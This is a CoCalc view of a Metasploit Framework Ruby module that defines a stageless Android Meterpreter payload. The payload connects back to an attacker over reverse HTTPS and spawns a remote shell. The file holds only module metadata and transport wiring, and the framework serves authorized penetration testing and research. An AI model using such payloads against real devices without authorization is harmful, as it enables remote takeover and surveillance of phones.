Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/android/meterpreter_reverse_https.rb
21538 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = :dynamic
8
9
include Msf::Payload::TransportConfig
10
include Msf::Payload::Single
11
include Msf::Payload::Android
12
include Msf::Payload::UUID::Options
13
include Msf::Sessions::MeterpreterOptions::Android
14
15
def initialize(info = {})
16
super(
17
merge_info(
18
info,
19
'Name' => 'Android Meterpreter Shell, Reverse HTTPS Inline',
20
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
21
'License' => MSF_LICENSE,
22
'Platform' => 'android',
23
'Arch' => ARCH_DALVIK,
24
'Handler' => Msf::Handler::ReverseHttps,
25
'Session' => Msf::Sessions::Meterpreter_Java_Android,
26
'Payload' => ''
27
)
28
)
29
end
30
31
#
32
# Generate the transport-specific configuration
33
#
34
def transport_config(opts = {})
35
transport_config_reverse_https(opts)
36
end
37
38
def generate_jar(opts = {})
39
opts[:stageless] = true
40
super(opts)
41
end
42
end
43
44